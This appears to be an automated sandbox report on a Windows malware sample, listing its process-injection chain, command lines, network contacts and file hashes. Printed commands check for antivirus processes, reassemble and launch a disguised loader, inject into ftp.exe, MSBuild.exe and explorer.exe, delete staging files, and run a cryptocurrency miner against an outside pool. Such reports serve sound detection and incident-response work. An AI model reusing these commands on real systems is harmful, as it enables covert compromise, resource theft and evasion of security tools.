PID 4380 wrote to memory of 3704 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 4380 wrote to memory of 4564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 4380 wrote to memory of 4564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 4380 wrote to memory of 4564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3704 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 3704 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 3704 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 3704 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 3704 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 1968 wrote to memory of 3268 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\KKJJEBFCGD.exe
PID 1968 wrote to memory of 3268 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\KKJJEBFCGD.exe
PID 1968 wrote to memory of 3268 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\KKJJEBFCGD.exe
PID 1968 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\FCAKFCGCGI.exe
PID 1968 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\FCAKFCGCGI.exe
PID 1968 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\FCAKFCGCGI.exe
PID 3268 wrote to memory of 4744 N/A C:\ProgramData\KKJJEBFCGD.exe C:\Windows\SysWOW64\ftp.exe
PID 3268 wrote to memory of 4744 N/A C:\ProgramData\KKJJEBFCGD.exe C:\Windows\SysWOW64\ftp.exe
PID 3268 wrote to memory of 4744 N/A C:\ProgramData\KKJJEBFCGD.exe C:\Windows\SysWOW64\ftp.exe
PID 3008 wrote to memory of 2424 N/A C:\ProgramData\FCAKFCGCGI.exe C:\Windows\SysWOW64\ftp.exe
PID 3008 wrote to memory of 2424 N/A C:\ProgramData\FCAKFCGCGI.exe C:\Windows\SysWOW64\ftp.exe
PID 3008 wrote to memory of 2424 N/A C:\ProgramData\FCAKFCGCGI.exe C:\Windows\SysWOW64\ftp.exe
PID 1968 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 1968 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 1968 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 1804 wrote to memory of 1184 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1804 wrote to memory of 1184 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1804 wrote to memory of 1184 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3268 wrote to memory of 4744 N/A C:\ProgramData\KKJJEBFCGD.exe C:\Windows\SysWOW64\ftp.exe
PID 3008 wrote to memory of 2424 N/A C:\ProgramData\FCAKFCGCGI.exe C:\Windows\SysWOW64\ftp.exe
PID 2424 wrote to memory of 3124 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2424 wrote to memory of 3124 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4744 wrote to memory of 2420 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 4744 wrote to memory of 2420 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 4744 wrote to memory of 2420 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 2424 wrote to memory of 3124 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2424 wrote to memory of 3124 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4744 wrote to memory of 2420 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 3124 wrote to memory of 3516 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\Setup.exe

"C:\Users\Admin\AppData\Local\Temp\Setup.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k copy Revenues Revenues.cmd & Revenues.cmd & exit

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "wrsa.exe opssvc.exe"

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c md 366279

C:\Windows\SysWOW64\findstr.exe

findstr /V "RingtoneRentMicrosoftFocuses" Editors

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Isle 366279\m

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

366279\Suspect.pif 366279\m

C:\Windows\SysWOW64\timeout.exe

timeout 5

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

C:\ProgramData\KKJJEBFCGD.exe

"C:\ProgramData\KKJJEBFCGD.exe"

C:\ProgramData\FCAKFCGCGI.exe

"C:\ProgramData\FCAKFCGCGI.exe"

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GIDAECGDAFBA" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 10

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
GB 172.217.169.67:80 c.pki.goog tcp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 104.21.16.123:443 businessdownloads.ltd tcp
US 188.114.97.2:443 theemir.xyz tcp
US 199.232.196.193:443 i.imgur.com tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
US 188.114.97.2:443 theemir.xyz tcp
FI 135.181.22.88:80 135.181.22.88 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
N/A 224.0.0.251:5353 udp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp

Files

C:\Users\Admin\AppData\Local\Temp\Revenues

MD5 774a97f2c63a28f5b795e0c7f3a1e797
SHA1 2ab25671bd5a2b253d54594301b765f171aa0cd5
SHA256 a08c17ffca06c08afa2bf6ee98a09c08a2cc22a78596497635cb372d644f140d
SHA512 e6c576edbfc972a9272d4fd969dc4e4f82f5ec61be2c526a1e2686cd4ee0734a649c78673f10efd3e3d9ae7b329a440adcd830fcb6bf3f53d30f678e001518d6

C:\Users\Admin\AppData\Local\Temp\Editors

MD5 c06b582d8286115b48f81ec53f36b383
SHA1 4f925d9b551cebda3f898ad18c62925979bcda7e
SHA256 70290025a0c87bcbd58ea8caf22e2dc0104e726ef3a7f9d9649758869def4189
SHA512 c98e48feca40abf3fc22803dcc80c3f7dc11bc8f3ff6fd03a3d733c1acf438294347169887bcbce82ff20fa9a6cbf0a0d94c76dc15bb5989093d1c2f7903864a

C:\Users\Admin\AppData\Local\Temp\Comparisons

MD5 4e292eb85ce9e016ff5a01c719c027c2
SHA1 61b3995398ed8390e8b8dc1a262eb94d55d6b80f
SHA256 6492ab6cd6f8f028f0824e026ed7c5401136f203f7de953bc60f61b32de4b41f
SHA512 9a19f0345059e401fa82e1d90a103438a04b579ccab2667d609f3d7c0764fd91553e6dda65e771fbf3fb059b0e460ad885c22cf39562bacd7e44b4e7bea43ad7

C:\Users\Admin\AppData\Local\Temp\Terminology

MD5 bc54db6ebb67ee3a2e3c127758bc2884
SHA1 4068d9984c207545e62ad464e2134cac265bf9f7
SHA256 8c1e83e582baf2b8232a7ab8e81a751b45d260f4ff01bab2e42783d0e24d6b43
SHA512 a03330c03209d8ef28707854fda4ce7b2b680a374d820d8e699ef980cc6b1e5548eec7c8c86608e3507b3490f38d61f067b25d99d725f10158b9837666aef3cc

C:\Users\Admin\AppData\Local\Temp\Colleagues

MD5 8a6af62b964e899f2fdb5b08bb70fe1d
SHA1 74d97553398f4952fc7244db53a54c5c9418680b
SHA256 621b098f227833dd3d62d4b181bf751e76d9688237ae27ba4475947863775103
SHA512 be082ccae47ebb4bb28f9d9fc9ffb089e081ab95d41232be5bd998fdfcb6995816141e46289f7fb15acf890bc97ce77fb413c8a56424a411dcce03354d093186

C:\Users\Admin\AppData\Local\Temp\July

MD5 d71ce9af90d20d69dc3de9bc70f9cacd
SHA1 3b5737986225b7358b909f43a201d4872cd3a294
SHA256 fbbc13426ec699ffd56f6c53bc5e5259e25af602205c3d04beac1d4c578f85da
SHA512 85dfe8e9705b97c6a877b0785394171768dc33effa3a37b9969d35ead669172e6e4eb1357d8c231db778a0b37b2d8253b9e6d170e45959ba24a6b2fac868399e

C:\Users\Admin\AppData\Local\Temp\Isle

MD5 c7edd1b120ffd89a03bb13f43248c03f
SHA1 70cdf64d0b1f9ddeed567599ed2b4ea6c0fad204
SHA256 84e53bfccccd03c162214a5b47741945c029afd23ec7ca307f1a66bc292ff3f8
SHA512 9d760c5455f7daa4ee1aeb3070d33cc43ec933f843333ae9d89f15d62f3840939bb83ad39420bf3fc9f800c8dcdde3f39085e7fcdfbedeeb999382ac1f9e75e2

C:\Users\Admin\AppData\Local\Temp\Shaft

MD5 4a29dcfa87b47e37e8b4447b840ccd91
SHA1 cd56012f27e7ece5545b6b07172f8f0169a852f5
SHA256 dbf049319595a1a9faf8c8dbc70814c4562c4b9dd10f18e56b0cb83e37cdce5c
SHA512 79b69684e7a72eb7fa24f36745f42370acc6655e44fbbd93dda679ed676c010a38a530b3b210196b6962e36ca1756fedb4341f867bdeb2e86c6ded23b7dde91f

C:\Users\Admin\AppData\Local\Temp\Word

MD5 ca2ac61ab298e06c4d8f07792708705c
SHA1 35547141d3593d89746a4de38e809388de7b224f
SHA256 cabef77014cb90d5e896c046830742852edb20adcd1da71f88f8f8805d476607
SHA512 c6f0fccfaa08ef6f4d17698eb07cf27fa116b94bab2a25afe392acb2fecb1fb9d58301288e80839dadf834245a614846d72d1243693b40a56d7be45745f90218

C:\Users\Admin\AppData\Local\Temp\Tomorrow

MD5 b348e7db88d0e52cfb6c7adb43628390
SHA1 5daa60ea78be614a992e88a60b655601cb45ebb6
SHA256 fa61763479671d7aa59798ccd20a2ae48102e24f2fdbc11e753c2141b3e0d135
SHA512 9d3018d203bad94e6a6efb2f5c5dfb55b14d5a6e1885cc60a34f0c647771cede2626e448f2fc194e3d17795c97ebb0bf283cb2a24a7db71f5e7fd15bdab01eff

C:\Users\Admin\AppData\Local\Temp\Pct

MD5 5021070dbffa36d9053699bee3f88806
SHA1 00ce3f117ffe45372c27af5f920ebacdeac92f93
SHA256 41757cf277d0f40e48e2bfc6d963db78308fdfe0b054f67685e2a6473e25327b
SHA512 628268ba6d7c30f1d03f84ff3955782ed23f426645fb8a914b83514f1de9ef23b5060f57e8c6f38dc8071adf063971f050989cab5eb2ef300072ccb58bd7183a

C:\Users\Admin\AppData\Local\Temp\Serving

MD5 d0fa08b94bca138551c4b274ade27a75
SHA1 acaa349e9d6f03d622c2f0280247a43fbc078f3a
SHA256 4e9de0fd78447786652a61ab8339253c2ec4c671d3a9dd956d3aca384a7ee4a1
SHA512 bc17fd7b4b79f96d7adbf35c96919c49ace59ac0e2807fb31e7e88871218b5f0ad6f9183087c451675c16f24a16ed278fa78b325a3b631068e2fee16b3a84622

C:\Users\Admin\AppData\Local\Temp\Wallpaper

MD5 98d91341d4e754f361bbedeb35242a36
SHA1 4718235cf9242f7250700af2a3411357d2a2525c
SHA256 42d670d3dd28bc4597b71a9373763029451d0da5efe1288c774f6b512fae9f0e
SHA512 1e877510d91e6f62790b7f15c7ffa00c31e18f24bc3ec72dcd63e9c2b0031817bbf87e1f9d3359f50dd25f1d6e53eeea61fc9331ebc58f88361fcd2353e32fa9

C:\Users\Admin\AppData\Local\Temp\Gis

MD5 e5e509038d8029cc95879ae96199093c
SHA1 18fceacd1cf5c57c6c2f1dc59a05906b740323a0
SHA256 bfa2b066ea73af4b0296b130a7c1927a4723864502ec646809aca415677844a6
SHA512 359d9dc6751abf5dbbede201409e77652f595f40148f987272aacb50e320c43562f93db179727d05120c7bb8edb45c3fb81c30aebc91422f33ca7c70466b34b1

C:\Users\Admin\AppData\Local\Temp\Atlanta

MD5 05bf6c32a8d3cb1025a4e8baca686fc5
SHA1 e32584b21803cf8bed34367c8e4f34ff6104d6c4
SHA256 61460bebb1a3ada4d197a869a8d9637eaf03656b32509e5a4606240d06ab3361
SHA512 c93b4c23daf481e9ebcb8d19d1381e3a7ab49b1708e0340a9455a11fc26b3209577cc831e7610d212a0e677b8f6217855038b1cf0b2379f397549b92cbf89b03

C:\Users\Admin\AppData\Local\Temp\Roy

MD5 6310218145bc5ec965e5953fb0305d19
SHA1 b6043e6b47ea99b13efea5b2b7c523248379f6af
SHA256 ae7d0d86b3505a9c5c40bce3fd2554102e4f7d21aa5bdcc10451ce1019606629
SHA512 ae82e5721644c9f51852c5973dec9e250b83593b4079c7d3360e55700c75e43f9cac36de508654831c37e4d4ffdfcc8aabe8d681bcfd7a3a72d8d3f3df0fe6ec

C:\Users\Admin\AppData\Local\Temp\Pda

MD5 0766c0db71d9a82456e72ca071518676
SHA1 be36286b20cc0aeff00bdca079dfa9f4047e1ac0
SHA256 5553cf5ed1753ab9749bb7f3057f0db8cb9f19b8f673fa977b038ca0fef8b3d1
SHA512 032dad0b91b5482d5d1e558ba9e4dfea6f16c71725d21865f411f888fe631628f7a16a3e9fc367d88c02fde7f6ef7fd56a717c23feb45eb1ff5968605fb7fb77

C:\Users\Admin\AppData\Local\Temp\Talk

MD5 bb769ef1b8aa0b58d0b94c4804bcd418
SHA1 e6f4dc5a736038e5604e282046d1234ccabebf68
SHA256 ae766919ddefe1340cea9b4ae3acfc041e8d079baa7fcf7dca59dfa3330c2d59
SHA512 2d0e600f59a545b1d19f299a8b756bab334b02be8e9f6e1ff2d3f64c18362bcb60239b0786358023728be88c8e033219e9df500d30b3121921d356055c60bb05

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

MD5 b06e67f9767e5023892d9698703ad098
SHA1 acc07666f4c1d4461d3e1c263cf6a194a8dd1544
SHA256 8498900e57a490404e7ec4d8159bee29aed5852ae88bd484141780eaadb727bb
SHA512 7972c78acebdd86c57d879c12cb407120155a24a52fda23ddb7d9e181dd59dac1eb74f327817adbc364d37c8dc704f8236f3539b4d3ee5a022814924a1616943

C:\Users\Admin\AppData\Local\Temp\Shares

MD5 8715208e25afa7a73918e84ee8b27f50
SHA1 61935bc176db5586053d1d5a22dae8092e6a3f7e
SHA256 f0eba5c2f4c9998b0a491a7ec4fc953e601235709b3536ba1a928e8d5021d3f1
SHA512 461d9e809ede59c71cd7fd9aa90a8ad991c5c9504d5c9c53659604e7e0e25b02d2135fbc0b2c4ab0e4a60bd43c38fa1109559d5f19f58a387dbe8e03424230c8

C:\Users\Admin\AppData\Local\Temp\Broadway

MD5 abfa29a29931ff6299126aed8dd08859
SHA1 c436e000edcc042f7f7889950a610c94d590d36c
SHA256 dd57cfa1ec84ac01cd4aab6dd18046b3a49daf0445ae29d6695c4a25c0bcd59d
SHA512 c0941a5de5fe072ba81b41b555ffdb59c6e0d2b9bed66a0cbb899699c38792cda0bb9857ab0752dbe0b3c966688ccb523989677803bf637675ec435a8c12406e

C:\Users\Admin\AppData\Local\Temp\Thus

MD5 08c077a34051a75c2b915a517c5d7d54
SHA1 ecb5cef32ca27ea5542b7416bc550601721f4a32
SHA256 3ed1a12fde96bc80c62d54a0647000dff23a63b987fe8c3faa9e11b4357321a0
SHA512 8746dae03892cee35b1a4463a7765399f2d1d1d989c53d0881043991c4187f7b4b1765376c435ff13722ec6dff2da98287efca0b335508f24d6f1805034e0f70

C:\Users\Admin\AppData\Local\Temp\Marcus

MD5 16fcba5d9aed0ef000c886f56cba85ee
SHA1 22584f6b7227ea3e0898233325be3ecb3c7bef6a
SHA256 35d270b74aa68781c8e0bc3cd008718ce362fe9fd32c9ba1ad52b82fe37d07aa
SHA512 7beb4a5207087b0e37f16df84702e4cac8699f951f6a92c7185bc83582766a43ef18bc93af24827793951f2417dd39bdf0717876f75f32feacec93fdfb2896f7

C:\Users\Admin\AppData\Local\Temp\Gc

MD5 f446974fde635cadfcc03c9a25fd3780
SHA1 b59e1202f13139f21db4274d65ac51d2a0f8b856
SHA256 5bc7072917151653d7c40e272d8a95a86bbe7ad027eb30a811331a6f7df7ba51
SHA512 cc1a13562df99e2e2a240ad8d8e8d948846c6c5be0c995d87785e3cf73b54824ee7318c423972ea362dafbaac986f19d0117bc7e5192af5a2ff9fc8430bcc1e7

C:\Users\Admin\AppData\Local\Temp\Ns

MD5 67546d73dfe4d66538a7ac7dc030238f
SHA1 1a3450f06ac594739db273e3eb0155018fccc88e
SHA256 71f45ed46fbd47494a7ecb9b31c07214d99133e35b974f5cf2beceabb639217d
SHA512 f3ceb864801ddb2d7f8298950dd76a0738ab4586796d16290c1c8c11579b9017a9b14c94341c24ac024f89a38e402c81903fcabaa2dddd21ca681af173bf5bb3

C:\Users\Admin\AppData\Local\Temp\Choose

MD5 fb2cc8e690d82366990f2f20a4a5ab75
SHA1 5556232996e954f981144129298e298c75f8c2fe
SHA256 51982155baed7d5006ebc4446a417f320f8d754ec99911fcfa97ee5d37ce7756
SHA512 e8ae811d270bd2de39d0578e84b0001bffaf34969a1fabaedbe804d96eb79919c13578f41af339ce9af26f5cb6cb107bd6d79c1af9aee8a9e359b4b885fde823

C:\Users\Admin\AppData\Local\Temp\Wb

MD5 901d26287ebe3e866d15b610764c49c1
SHA1 13793e6f446a09511642a4f3085cb029a4b853ff
SHA256 c74030e343c6fde4a1f1cf54010c186f9e80b457662bab5500848597c2e19504
SHA512 19ae02941a1a17cbe12c653b3067e10e91e5fe8dd73e0ff2373355eb9ee41af3767ae06885a3fb35bb06e411ec8ac0f291d24e717c01adfcb802539b3cf1f15a

C:\Users\Admin\AppData\Local\Temp\Bt

MD5 cf6a6e9c0b825f2b1ced20b4ab200db6
SHA1 8d1987c13c8dc1287f0eb631201ca6eee12b4cd0
SHA256 6e4b33cc9c80b969af96b31b1e95588f9cf79e3670951c63172d60d4e1324f95
SHA512 337bca6e3e8e323821d3767feacc10faefb52b4664968e99c1ab62a72f6770f41bc338bfb672e6602249266b141c4e99d004e48adcd87ea308bdec493674dfdc

C:\Users\Admin\AppData\Local\Temp\Russian

MD5 91be5c23d6db4ea3e47b0259475cdd4b
SHA1 07cee20085effe581fddb260a65473c130e88e21
SHA256 8e6d9c7c4069ed6ea1fa346238ce48cf4479df04d1871e874f8c31e8ffede898
SHA512 e4f536a4f9b60098abd7212f82cacf6d9729a89c207a74a7dfcf8b9069a64eb024d60f0d506c1a50726d60c267222d200a50a6cc3a31a06ea1ef9ab3fce887e3

C:\Users\Admin\AppData\Local\Temp\Objects

MD5 f2f3a8cb98474080fdcca6a39b6b3915
SHA1 49f7327ca65d969203be51ccbf9f4033579923d0
SHA256 ca682c8dcdca30548120b6d3194eebf36a9208bef0e9b611da828bd912a38260
SHA512 cde92ed6e3ad806f0acd220990b46168862511222ae3667c62084f93622cc7ba2e91ed3b1e489f5721b8eeba9fc25b5a718febe3718c1afb74fcc6b4f8c0b1b9

C:\Users\Admin\AppData\Local\Temp\Arg

MD5 d4c42c532dceb34e65d7defc682e77dc
SHA1 7584981bc314640ba1b92da552ffeaedc4ea3a21
SHA256 3e7706b03275975037e49a1a7f29e67bce822086f90630948d9528d9c4b68182
SHA512 67ca5bf547b9bda235c44166681cac7e12515fa49b78ee8d7f564fc094c1509e8fe2f2f029a99ec96ab1fbfb1b9c2d501e4e1d65b4855b75639f2974ac804a4b

memory/1968-580-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-581-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-583-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-590-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-592-0x0000000061E00000-0x0000000061EF3000-memory.dmp

memory/1968-591-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-605-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-606-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-614-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-615-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-631-0x0000000000A00000-0x000000000114A000-memory.dmp

C:\ProgramData\GIDAECGDAFBA\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

C:\ProgramData\GIDAECGDAFBA\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

memory/1968-632-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-654-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-655-0x0000000000A00000-0x000000000114A000-memory.dmp

C:\ProgramData\KKJJEBFCGD.exe

MD5 6cfddd5ce9ca4bb209bd5d8c2cd80025
SHA1 424da82e9edbb6b39a979ab97d84239a1d67c48b
